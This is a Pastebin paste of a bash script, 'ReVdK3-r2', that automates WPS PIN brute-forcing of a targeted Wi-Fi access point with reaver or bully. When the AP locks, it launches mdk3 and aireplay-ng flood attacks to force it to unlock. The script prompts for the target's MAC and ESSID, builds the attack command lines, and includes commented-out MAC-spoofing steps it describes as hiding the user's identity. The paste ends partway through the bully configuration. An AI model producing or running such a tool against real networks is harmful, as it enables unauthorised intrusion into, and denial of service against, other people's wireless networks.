Advertisement
Guest User

wlan0

a guest
May 29th, 2015
334
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 46.88 KB | None | 0 0
  1. #!/bin/bash
  2. declare MAC;
  3. declare PIN_TIME;
  4. declare WLAN;
  5. declare MON1;
  6. declare MON2;
  7. declare MON3;
  8. declare PHY_OF_WLAN_1;
  9. declare NO_OF_MONITOR_INTERFACES_CHECK;
  10. declare MONITOR_INTERFACES;
  11. declare STOP_INTERFACE;
  12. declare VARIABLE;
  13. declare CHANNEL;
  14. declare DISTANCE_BETWEEN_PINS;
  15. declare TIMEOUT;
  16. declare ESSID;
  17. declare SATISFIED_OPTION=r;
  18. declare REAVER_COMMAND_LINE;
  19. declare MDK3_MAIN_MENU_OPTION;
  20. declare RETURN_OPTION_FOR_AUTH_DOS_FOR_AUTH_DOS;
  21. declare RETURN_OPTION_FOR_EAPOL_START_FLOOD;
  22. declare EAPOL_START_FLOOD_COMMAND;
  23. declare AUTH_DOS_FLOOD_COMMAND;
  24. declare RETURN_OPTION_FOR_EAPOL_LOG_OFF_FLOOD;
  25. declare EAPOL_LOG_OFF_FLOOD_COMMAND;
  26. declare VARIABLE_CHECK_FOR_RATE_LIMITING;
  27. declare TARGET_STATION;
  28. declare MDK3_KILLALL_1
  29. declare AIREPLAY_KILLALL;
  30. declare SUCCESSIVE_EAPOL_FAILURES;
  31. declare AIREPLAY_RESET;
  32. declare MONITOR_INTERFACES_CHECK;
  33. declare GO_STATUS;
  34. declare NO_GO_STATUS
  35. clear
  36. GO_STATUS=`echo -e "\e[31m[\e[34mAffirmative\e[31m]\e[0m"`
  37. NO_GO_STATUS=`echo -e "\e[31m[\e[33mNegative\e[31m]\e[0m"`
  38. REAVER_CHECK=`which reaver`
  39. BULLY_CHECK=`which bully`
  40. MDK3_CHECK=`which mdk3`
  41. AIREPLAY_NG_CHECK=`which aireplay-ng`
  42. GNOME_TERMINAL_CHECK=`which gnome-terminal`
  43. TIMEOUT_CHECK=`which timeout`
  44. echo -e "\e[36mChecking to see if the following programs are installed";
  45. echo -e "\e[36mProgram Exist?"
  46. echo -ne "\e[36m[1] reaver";
  47. if [ -z "$REAVER_CHECK" ]; then
  48. echo -e " $NO_GO_STATUS";
  49. else
  50. echo -e " $GO_STATUS";
  51. fi
  52. sleep 0.2
  53. echo -ne "\e[36m[2] bully";
  54. if [ -z "$BULLY_CHECK" ]; then
  55. echo -e " $NO_GO_STATUS";
  56. else
  57. echo -e " $GO_STATUS";
  58. fi
  59. sleep 0.2
  60. echo -ne "\e[36m[3] mdk3";
  61. if [ -z "$MDK3_CHECK" ]; then
  62. echo -e " $NO_GO_STATUS";
  63. else
  64. echo -e " $GO_STATUS";
  65. fi
  66. sleep 0.2
  67. echo -ne "\e[36m[4] aireplay-ng";
  68. if [ -z "$AIREPLAY_NG_CHECK" ]; then
  69. echo -e " $NO_GO_STATUS";
  70. else
  71. echo -e " $GO_STATUS";
  72. fi
  73. sleep 0.2
  74. echo -ne "\e[36m[5] gnome-terminal";
  75. if [ -z "$GNOME_TERMINAL_CHECK" ]; then
  76. echo -e " $NO_GO_STATUS";
  77. else
  78. echo -e " $GO_STATUS";
  79. fi
  80. sleep 0.2
  81. echo -ne "\e[36m[5] timeout";
  82. if [ -z "$TIMEOUT_CHECK" ]; then
  83. echo -e " $NO_GO_STATUS";
  84. else
  85. echo -e " $GO_STATUS";
  86. fi
  87. sleep 0.2
  88. if [ -z "$MDK3_CHECK" ]; then
  89. echo -e "\e[31m\e[1mmdk3 is not installed.Exiting script...";
  90. exit
  91. fi
  92. if [ -z "$AIREPLAY_NG_CHECK" ]; then
  93. echo -e "\e[31m\e[1maireplay-ng is not installed.Exiting script...";
  94. exit
  95. fi
  96. if [ -z "$GNOME_TERMINAL_CHECK" ]; then
  97. echo -e "\e[31m\e[1mgnome-terminal is not installed.Exiting script...";
  98. exit
  99. fi
  100. if [ -z "$TIMEOUT_CHECK" ]; then
  101. echo -e "\e[31m\e[1mtimeout is not installed.Exiting script...";
  102. exit
  103. fi
  104. clear
  105. #WELCOM MESSAGE
  106. echo -e "\e[36m\e[1m###########################\e[0m";
  107. echo -e "\e[36m\e[1m# WELCOME TO ReVdK3 Script# \e[35m\e[1mC\e[92m\e[1mR\e[91m\e[1mE\e[34m\e[1mA\e[33m\e[1mT\e[96m\e[1mE\e[35m\e[1mD \e[92m\e[1mB\e[35m\e[1mY\e[0m : \e[35m\e[1mR\e[92m\e[1mE\e[91m\e[1mP\e[34m\e[1mZ\e[33m\e[1mE\e[96m\e[1mR\e[35m\e[1mO\e[92m\e[1mW\e[91m\e[1mO\e[34m\e[1mR\e[33m\e[1mL\e[96m\e[1mD\e[35m\e[1m\e[0m";
  108. echo -e "\e[36m\e[1m###########################\e[0m";
  109. echo -e "\e[36m\e[1m#####################################################################\e[0m";
  110. echo -e "\e[36m\e[1m# This Script allows you to use reaver and an mdk3 flood attack that#\e[0m";
  111. echo -e "\e[36m\e[1m# you choose #\e[0m";
  112. echo -e "\e[36m\e[1m#####################################################################\e[0m";
  113. echo -e "\e[36m\e[1m# This Script was created for Access Points that locks up for long #\e[0m";
  114. echo -e "\e[36m\e[1m# periods of time. It works by starting reaver and continously #\e[0m";
  115. echo -e "\e[36m\e[1m# detect when reaver is rate limiting pins, once reaver detects #\e[0m";
  116. echo -e "\e[36m\e[1m# the AP is rate limiting pins, it starts mdk3 attacks. mdk3 attacks#\e[0m";
  117. echo -e "\e[36m\e[1m# are killed once reaver detects that the AP has unlocked itself ! #\e[0m";
  118. echo -e "\e[36m\e[1m# The prcoess goes on... #\e[0m";
  119. echo -e "\e[36m\e[1m#####################################################################\e[0m";
  120. echo ;
  121. echo -e "\e[37m\e[44m\e[1m ReVdK3.sh-r2 (Revision 2)\e[0m";
  122. echo ;
  123. echo -e "\e[37m\e[44m\e[1mWHAT'S NEW?:Incorporating bully into the script\e[0m";
  124. echo ;
  125. echo -e "\e[37m\e[44m\e[1mThanks to N1ksan for some useful ideas!\e[0m";
  126. echo ;
  127. echo -e "\e[36m\e[40m\e[1m******************************************************\e[0m";
  128. echo -e "\e[36m\e[40m\e[1m* Welcome: I need to verify your wireless interface *\e[0m";
  129. echo -e "\e[36m\e[40m\e[1m******************************************************\e[0m";
  130. echo ;
  131. read -p "Which wireless interface you will be using? e.g wlan1, wlan2 etc": WLAN;
  132. EXISTENCE_OF_WLAN=`airmon-ng|grep ''"$WLAN"|cut -f1`;
  133. while [ -z "$WLAN" -o "$EXISTENCE_OF_WLAN" != "$WLAN" ]; do
  134. echo -e "\e[31m\e[1mYou input a wireless interface that doesn't exist!\e[0m";
  135. echo ;
  136. read -p "Which wireless interface you will be using? e.g wlan1, wlan2 etc": WLAN;
  137. EXISTENCE_OF_WLAN=`airmon-ng|grep ''"$WLAN"|cut -f1`;
  138. done
  139. PHY_OF_WLAN_1=`airmon-ng|grep $WLAN|cut -d ' ' -f4`;
  140. NO_OF_MONITOR_INTERFACES_CHECK=`airmon-ng|grep -F "$PHY_OF_WLAN_1"|wc -l`;
  141. MONITOR_INTERFACES=`airmon-ng|grep -F "$PHY_OF_WLAN_1"|cut -f1|tr -s [:space:] ' '`;
  142. echo -e "\e[36m\e[1mKilling any existing monitor interface(s) on $WLAN\e[0m";
  143. if [ "$NO_OF_MONITOR_INTERFACES_CHECK" != 1 ]; then
  144. for STOP_INTERFACE in $MONITOR_INTERFACES; do
  145. if [ "$STOP_INTERFACE" != "$WLAN" ]; then
  146. airmon-ng stop $STOP_INTERFACE > /dev/null;
  147. fi
  148. done
  149. fi
  150. echo -e "\e[36m\e[1mSuccessful!\e[0m";
  151. echo -e "\e[36m\e[1mStarting three new monitor modes...\e[0m";
  152.  
  153. MON1=`airmon-ng start $WLAN|grep -F '(monitor mode enabled on '|tr -s [:space:] ' '|cut -d ' ' -f6|tr -d ')'`
  154. MON2=`airmon-ng start $WLAN|grep -F '(monitor mode enabled on '|tr -s [:space:] ' '|cut -d ' ' -f6|tr -d ')'`
  155. MON3=`airmon-ng start $WLAN|grep -F '(monitor mode enabled on '|tr -s [:space:] ' '|cut -d ' ' -f6|tr -d ')'`
  156. echo "Successful!"
  157. trap 'echo -e "\n\e[36m\e[1mCleaning up all temporary files created by this script..good house keeping...ensuring all processes are killed!\e[31m\e[0m";
  158. killall -1 ReVdK3-r2.sh;killall mdk3 2> /dev/null; killall -9 reaver 2> /dev/null;killall -9 bully 2> /dev/null; killall tail 2> /dev/null; rm -f /etc/reaver_tmp.txt 2> /dev/null;
  159. rm -f /etc/bully_tmp.txt 2> /dev/null; airmon-ng stop "$MON1" > /dev/null; airmon-ng stop "$MON2" > /dev/null; airmon-ng stop "$MON3" > /dev/null;
  160. killall aireplay-ng 2> /dev/null;rm -f /etc/aireplay_tmp.txt 2> /dev/null;killall -9 ReVdK3-r2.sh > /dev/null;' SIGINT SIGHUP EXIT
  161. clear
  162. function REAVER_COMMAND_LINE_OPTIONS {
  163. while [ "$SATISFIED_OPTION" = r ]; do
  164. clear
  165. echo ;
  166. echo -e "\e[36m\e[40m\e[1m***********************************\e[0m";
  167. echo -e "\e[36m\e[40m\e[1m*Welcome to Reaver's configuration*\e[0m";
  168. echo -e "\e[36m\e[40m\e[1m***********************************\e[0m";
  169. echo ;
  170. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  171. echo -e "\e[36m\e[40m\e[1mx MAC ADDRESS OF AP x\e[0m";
  172. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  173. echo ;
  174. read -p "What is the mac address of the access point you are targeting?": MAC;
  175. while [ -z "$MAC" ]; do
  176. echo -e "\e[31m\e[1mYou need to input the target's MAC address\e[0m";
  177. echo ;
  178. read -p "What is the mac address of the access point you are targeting?": MAC;
  179. done
  180. echo "MAC address saved...";
  181. echo ;
  182. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  183. echo -e "\e[36m\e[40m\e[1mx ESSID OF AP x\e[0m";
  184. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  185. echo ;
  186. read -p "What is the essid of the access point you are targeting": ESSID;
  187. while [ -z "$ESSID" ]; do
  188. echo -e "\e[31m\e[1mYou need to input the target's ESSID when running aireplay-ng &/or running mdk3 eapol start flood attacks!\e[0m";
  189. echo ;
  190. read -p "What is the essid of the access point you are targeting": ESSID;
  191. done
  192. echo "ESSID saved...";
  193. echo -e "\e[36m\e[1mI am hiding your identity by changing your mac\e[0m";
  194. sleep 2;
  195. #ifconfig $WLAN down;
  196. #ifconfig $WLAN down;
  197. #ifconfig $WLAN down;
  198. #ifconfig $MON1 down;
  199. #ifconfig $MON1 down;
  200. #ifconfig $MON2 down;
  201. #ifconfig $MON2 down;
  202. #ifconfig $MON3 down;
  203. #ifconfig $MON3 down;
  204. #macchanger -m '78:03:40:02:94:8f' "$WLAN"> /dev/null;
  205. #macchanger -m '78:03:40:02:94:8f' "$MON1"> /dev/null;
  206. #macchanger -m '78:03:40:02:94:8f' "$MON2"> /dev/null;
  207. #macchanger -m '78:03:40:02:94:8f' "$MON3"> /dev/null;
  208. #ifconfig $MON1 up;
  209. #ifconfig $MON1 up;
  210. #ifconfig $MON2 up;
  211. #ifconfig $MON2 up;
  212. #ifconfig $MON3 up;
  213. #ifconfig $MON3 up;
  214. echo;
  215. echo ;
  216. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  217. echo -e "\e[36m\e[40m\e[1mx Reaver's Options x\e[0m";
  218. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  219. echo -e "\e[36m\e[40m\e[1mx x\e[0m";
  220. echo -e "\e[36m\e[40m\e[1mx[1] Channel Option (-c) x\e[0m";
  221. echo -e "\e[36m\e[40m\e[1mx(note: Some Access Point hop to another channel when they reboot! x\e[0m";
  222. echo -e "\e[36m\e[40m\e[1mx............................................................................x\e[0m";
  223. echo -e "\e[36m\e[40m\e[1mx[2] Timeout Option (-t) x\e[0m";
  224. echo -e "\e[36m\e[40m\e[1mx(Reaver's time to wait for a message from the AP) x\e[0m";
  225. echo -e "\e[36m\e[40m\e[1mx............................................................................x\e[0m";
  226. echo -e "\e[36m\e[40m\e[1mx[3] Reaver's time between pin (-d) x\e[0m";
  227. echo -e "\e[36m\e[40m\e[1mx x\e[0m";
  228. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  229. echo ;
  230. #CHANNEL CHAIN
  231. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  232. echo -e "\e[36m\e[40m\e[1mx CHANNEL SWITCH x\e[0m";
  233. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  234. echo ;
  235. read -p "What channel you want reaver listen on (-c flag), or press ENTER to use default reaver's option": CHANNEL;
  236. while [[ "$CHANNEL" != @(1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|) ]]; do
  237. echo -e "\e[31m\e[1mYou need to input a channel number between 1-16\e[0m";
  238. echo ;
  239. read -p "What channel you want reaver listen on (-c flag), or press ENTER to use default reaver's option": CHANNEL;
  240. done
  241. #DISTANCE BETWEEN PIN ATTEMPTS CHAIN
  242. echo ;
  243. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  244. echo -e "\e[36m\e[40m\e[1mx PIN DELAY SWITCH x\e[0m";
  245. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  246. echo ;
  247. read -p "How much time in seconds for distance between pin attempts? (-d flag), if you want to use default option press ENTER ": DISTANCE_BETWEEN_PINS
  248. while [[ $DISTANCE_BETWEEN_PINS = ["-"A-Za-qs-z'`''~''@''#''$''%''^''&''*''('')''_''+''=''|''['']''{''}''\'"'"'"'';'':'',''.''<''>''/''?'' *''0']* ]]; do
  249. echo -e "\e[31m\e[1mYou need to choose a postive number!\e[0m";
  250. echo ;
  251. read -p "How much time in seconds for distance between pin attempts? (-d flag), if you want to use default option press ENTER ": DISTANCE_BETWEEN_PINS
  252. done
  253. #TIME OUT CHAIN
  254. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  255. echo -e "\e[36m\e[40m\e[1mx TIMEOUT SWITCH x\e[0m";
  256. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  257. echo ;
  258. read -p "How much time in seconds for reaver to timeout if the AP doesn't respond? (-t flag), if you want to use default option press ENTER": TIMEOUT;
  259. while [[ $TIMEOUT = ["-"A-Za-qs-z'`''~''@''#''$''%''^''&''*''('')''_''+''=''|''['']''{''}''\'"'"'"'';'':'',''.''<''>''/''?'' *''0']* ]]; do
  260. echo -e "\e[31m\e[1mYou need to choose a postive number!\e[0m";
  261. echo ;
  262. read -p "How much time in seconds for reaver to timeout if the AP doesn't respond? (-t flag), if you want to use default
  263. option press ENTER": TIMEOUT;
  264. echo ;
  265. done
  266. echo ;
  267. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  268. echo -e "\e[36m\e[40m\e[1mx REAVER COMMAND LINE YOU HAVE CHOOSEN x\e[0m";
  269. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  270. echo ;
  271. if [ -z "$CHANNEL" -a -n "$DISTANCE_BETWEEN_PINS" -a "$TIMEOUT" ]; then
  272. echo "reaver -i $MON1 -b $MAC -S -d $DISTANCE_BETWEEN_PINS -t $TIMEOUT -l 10 -N -vv";
  273. REAVER_COMMAND_LINE=`echo "reaver -i $MON1 -b $MAC -S -d $DISTANCE_BETWEEN_PINS -t $TIMEOUT -l 10 -N -vv"`;
  274. echo ;
  275. fi
  276. if [ -z "$DISTANCE_BETWEEN_PINS" -a -n "$CHANNEL" -a -n "$TIMEOUT" ]; then
  277. echo "reaver -i $MON1 -b $MAC -S -c $CHANNEL -t $TIMEOUT -l 10 -N -vv";
  278. REAVER_COMMAND_LINE=`echo "reaver -i $MON1 -b $MAC -S -c $CHANNEL -t $TIMEOUT -l 10 -N -vv"`;
  279. echo;
  280. fi
  281. if [ -z "$TIMEOUT" -a -n "$DISTANCE_BETWEEN_PINS" -a -n "$CHANNEL" ]; then
  282. echo "reaver -i $MON1 -b $MAC -S -c $CHANNEL -d $DISTANCE_BETWEEN_PINS -l 10 -N -vv";
  283. REAVER_COMMAND_LINE=`echo "reaver -i $MON1 -b $MAC -S -c $CHANNEL -d $DISTANCE_BETWEEN_PINS -l 10 -N -vv"`;
  284. echo ;
  285. fi
  286. if [ -z "$CHANNEL" -a -z "$DISTANCE_BETWEEN_PINS" -a -n "$TIMEOUT" ]; then
  287. echo "reaver -i $MON1 -b $MAC -S -t $TIMEOUT -l 10 -N -vv";
  288. REAVER_COMMAND_LINE=`echo "reaver -i $MON1 -b $MAC -S -t "$TIMEOUT" -l 10 -N -vv"`;
  289. echo ;
  290. fi
  291. if [ -z "$CHANNEL" -a -z "$TIMEOUT" -a -n "$DISTANCE_BETWEEN_PINS" ]; then
  292. echo "reaver -i $MON1 -b $MAC -S -d $DISTANCE_BETWEEN_PINS -l 10 -N -vv";
  293. REAVER_COMMAND_LINE=`echo "reaver -i $MON1 -b $MAC -S -d $DISTANCE_BETWEEN_PINS -l 10 -N -vv"`;
  294. echo ;
  295. fi
  296. if [ -z "$DISTANCE_BETWEEN_PINS" -a -z "$TIMEOUT" -a -n "$CHANNEL" ]; then
  297. echo "reaver -i $MON1 -b $MAC -S -c $CHANNEL -l 10 -N -vv";
  298. REAVER_COMMAND_LINE=`echo "reaver -i $MON1 -b $MAC -S -c $CHANNEL -l 10 -N -vv"`;
  299. echo ;
  300. fi
  301. if [ -z "$DISTANCE_BETWEEN_PINS" -a -z "$TIMEOUT" -a -z "$CHANNEL" ]; then
  302. echo "reaver -i $MON1 -b $MAC -S -l 10 -N -vv";
  303. REAVER_COMMAND_LINE=`echo "reaver -i $MON1 -b $MAC -S -l 10 -N -vv"`;
  304. fi
  305. if [ -n "$DISTANCE_BETWEEN_PINS" -a -n "$TIMEOUT" -a -n "$CHANNEL" ]; then
  306. echo "reaver -i $MON1 -b $MAC -S -c $CHANNEL -d $DISTANCE_BETWEEN_PINS -t $TIMEOUT -l 10 -N -vv";
  307. REAVER_COMMAND_LINE=`echo "reaver -i $MON1 -b $MAC -S -c $CHANNEL -d $DISTANCE_BETWEEN_PINS -t $TIMEOUT -l 10 -N -vv"`;
  308. echo ;
  309. fi
  310. echo ;
  311. read -p "Are you satisified with this configuration? if not, input 'r' and you will be returned to Reaver's Configuration Wizard": SATISFIED_OPTION;
  312. if [ -e /etc/reaver_tmp.txt ]; then
  313. rm -f /etc/reaver_tmp.txt
  314. fi
  315. if [ -e /etc/aireplay_tmp.txt ]; then
  316. rm -f /etc/aireplay_tmp.txt
  317. fi
  318. clear
  319. done
  320. }
  321.  
  322. function BULLY_COMMAND_LINE_OPTIONS {
  323. while [ "$SATISFIED_OPTION" = r ]; do
  324. clear
  325. echo ;
  326. echo -e "\e[36m\e[40m\e[1m***********************************\e[0m";
  327. echo -e "\e[36m\e[40m\e[1m*Welcome to Bully's configuration *\e[0m";
  328. echo -e "\e[36m\e[40m\e[1m***********************************\e[0m";
  329. echo ;
  330. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  331. echo -e "\e[36m\e[40m\e[1mx MAC ADDRESS OF AP x\e[0m";
  332. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  333. echo ;
  334. read -p "What is the mac address of the access point you are targeting?": MAC;
  335. while [ -z "$MAC" ]; do
  336. echo -e "\e[31m\e[1mYou need to input the target's MAC address\e[0m";
  337. echo ;
  338. read -p "What is the mac address of the access point you are targeting?": MAC;
  339. done
  340. echo "MAC address saved...";
  341. echo ;
  342. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  343. echo -e "\e[36m\e[40m\e[1mx ESSID OF AP x\e[0m";
  344. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  345. echo ;
  346. read -p "What is the essid of the access point you are targeting": ESSID;
  347. while [ -z "$ESSID" ]; do
  348. echo -e "\e[31m\e[1mYou need to input the target's ESSID when running aireplay-ng &/or running mdk3 eapol start flood attacks!\e[0m";
  349. echo ;
  350. read -p "What is the essid of the access point you are targeting": ESSID;
  351. done
  352. echo "ESSID saved...";
  353. echo -e "\e[36m\e[1mResetting your mac address to its original mac\e[0m";
  354. sleep 2;
  355. #ifconfig $WLAN down;
  356. #ifconfig $WLAN down;
  357. #ifconfig $WLAN down;
  358. #ifconfig $MON1 down;
  359. #ifconfig $MON1 down;
  360. #ifconfig $MON2 down;
  361. #ifconfig $MON2 down;
  362. #ifconfig $MON3 down;
  363. #ifconfig $MON3 down;
  364. #macchanger -p "$WLAN"> /dev/null;
  365. #macchanger -p "$MON1"> /dev/null;
  366. #macchanger -p "$MON2"> /dev/null;
  367. #macchanger -p "$MON3"> /dev/null;
  368. #ifconfig $MON1 up;
  369. #ifconfig $MON1 up;
  370. #ifconfig $MON2 up;
  371. #ifconfig $MON2 up;
  372. #ifconfig $MON3 up;
  373. #ifconfig $MON3 up;
  374. echo;
  375. echo ;
  376. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  377. echo -e "\e[36m\e[40m\e[1mx Bully's Options x\e[0m";
  378. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  379. echo -e "\e[36m\e[40m\e[1mx x\e[0m";
  380. echo -e "\e[36m\e[40m\e[1mx[1] Channel Option (-c) x\e[0m";
  381. echo -e "\e[36m\e[40m\e[1mx(note: Some Access Point hop to another channel when they reboot! x\e[0m";
  382. echo -e "\e[36m\e[40m\e[1mx............................................................................x\e[0m";
  383. echo -e "\e[36m\e[40m\e[1mx[2] Bully's time between pin (-1) x\e[0m";
  384. echo -e "\e[36m\e[40m\e[1mx x\e[0m";
  385. echo -e "\e[36m\e[40m\e[1mx............................................................................x\e[0m";
  386. echo -e "\e[36m\e[40m\e[1mx[3] Force Bruteforce Checksum Digit (-B -F) x\e[0m";
  387. echo -e "\e[36m\e[40m\e[1mx x\e[0m";
  388. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  389. echo ;
  390. echo -e "\e[34m\e[7m\e[1mNote:\e[31m\e[0m\e[31m\e[1m
  391. Timeout option (-t) is Deprecated / Ignored in bully.\e[30m\e[0m"
  392. echo ;
  393. #CHANNEL CHAIN
  394. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  395. echo -e "\e[36m\e[40m\e[1mx CHANNEL SWITCH x\e[0m";
  396. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  397. echo ;
  398. read -p "What channel you want reaver listen on (-c flag), or press ENTER to use default bully's option": CHANNEL;
  399. while [[ "$CHANNEL" != @(1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|) ]]; do
  400. echo -e "\e[31m\e[1mYou need to input a channel number between 1-16\e[0m";
  401. echo ;
  402. read -p "What channel you want reaver listen on (-c flag), or press ENTER to use default bully's option": CHANNEL;
  403. done
  404. #DISTANCE BETWEEN PIN ATTEMPTS CHAIN
  405. echo ;
  406. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  407. echo -e "\e[36m\e[40m\e[1mx FIRST HALF OF PIN DELAY SWITCH x\e[0m";
  408. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  409. echo ;
  410. read -p "How much time in seconds for distance between pin attempts? (-1 flag), if you want to use default option press ENTER ": DISTANCE_BETWEEN_PINS
  411. while [[ $DISTANCE_BETWEEN_PINS = ["-"A-Za-qs-z'`''~''@''#''$''%''^''&''*''('')''_''+''=''|''['']''{''}''\'"'"'"'';'':'',''.''<''>''/''?'' *''0']* ]]; do
  412. echo -e "\e[31m\e[1mYou need to choose a postive number!\e[0m";
  413. echo ;
  414. read -p "How much time in seconds for distance between pin attempts? (-1 flag), if you want to use default option press ENTER ": DISTANCE_BETWEEN_PINS
  415. done
  416. echo ;
  417. #BRUTEFORCE CHECKSUM
  418. echo ;
  419. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  420. echo -e "\e[36m\e[40m\e[1mx BRUTEFORCE CHECKSUM DIGIT SWITCH x\e[0m";
  421. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  422. echo ;
  423. read -p "Would you prefer bully to bruteforce the checksum digit if the first half of the pin is found?Press ENTER for 'no' or input 'y' or 'Y' for 'yes'": BRUTEFORCE_CHECKSUM;
  424. while [[ $BRUTEFORCE_CHECKSUM != @(y|Y|) ]]; do
  425. echo -e "\e[31m\e[1mYou need to input 'y'or 'Y' for 'yes' OR or press ENTER for 'no' !\e[0m";
  426. echo ;
  427. read -p "Would you prefer bully to bruteforce the checksum digit if the first half of the pin is found?Press ENTER for 'no' or input 'y' or 'Y' for 'yes'": BRUTEFORCE_CHECKSUM;
  428. echo;
  429. done
  430. echo ;
  431. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  432. echo -e "\e[36m\e[40m\e[1mx BULLY COMMAND LINE YOU HAVE CHOOSEN x\e[0m";
  433. echo -e "\e[36m\e[40m\e[1mxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\e[0m";
  434. echo ;
  435. ############### -B -F arguments false###############################
  436. if [ -z $BRUTEFORCE_CHECKSUM ]; then
  437. if [ -z "$CHANNEL" -a -n "$DISTANCE_BETWEEN_PINS" ]; then
  438. echo "bully -b $MAC -1 $DISTANCE_BETWEEN_PINS,1 -l 10 -S -v3 -F $MON1";
  439. BULLY_COMMAND_LINE=`echo "bully -b $MAC -1 "$DISTANCE_BETWEEN_PINS,1" -l 10 -S -v3 -F $MON1"`;
  440. echo ;
  441. fi
  442. if [ -z "$DISTANCE_BETWEEN_PINS" -a -n "$CHANNEL" ]; then
  443. echo "bully -b $MAC -c $CHANNEL -l 10 -S -v3 -F $MON1";
  444. BULLY_COMMAND_LINE=`echo "bully -b $MAC -c $CHANNEL -l 10 -S -v3 -F $MON1"`;
  445. echo;
  446. fi
  447. if [ -n "$DISTANCE_BETWEEN_PINS" -a -n "$CHANNEL" ]; then
  448. echo "bully -b $MAC -c $CHANNEL -1 $DISTANCE_BETWEEN_PINS,1 -l 10 -S -v3 -F $MON1";
  449. BULLY_COMMAND_LINE=`echo "bully -b $MAC -c $CHANNEL -1 "$DISTANCE_BETWEEN_PINS,1" -l 10 -S -v3 -F $MON1"`;
  450. echo ;
  451. fi
  452. if [ -z "$CHANNEL" -a -z "$DISTANCE_BETWEEN_PINS" ]; then
  453. echo "bully -b $MAC -l 10 -S -v3 -F $MON1";
  454. BULLY_COMMAND_LINE=`echo "bully -b $MAC -l 10 -S -v3 -F $MON1"`;
  455. echo ;
  456. fi
  457. fi
  458. ############### -B -F arguments true###############################
  459. if [[ "$BRUTEFORCE_CHECKSUM" = @(y|Y) ]]; then
  460. if [ -z "$CHANNEL" -a -n "$DISTANCE_BETWEEN_PINS" ]; then
  461. echo "bully -b $MAC -1 $DISTANCE_BETWEEN_PINS,1 -l 10 -S -v3 -B -F $MON1";
  462. BULLY_COMMAND_LINE=`echo "bully -b $MAC -1 "$DISTANCE_BETWEEN_PINS,1" -l 10 -S -v3 -B -F $MON1"`;
  463. echo ;
  464. fi
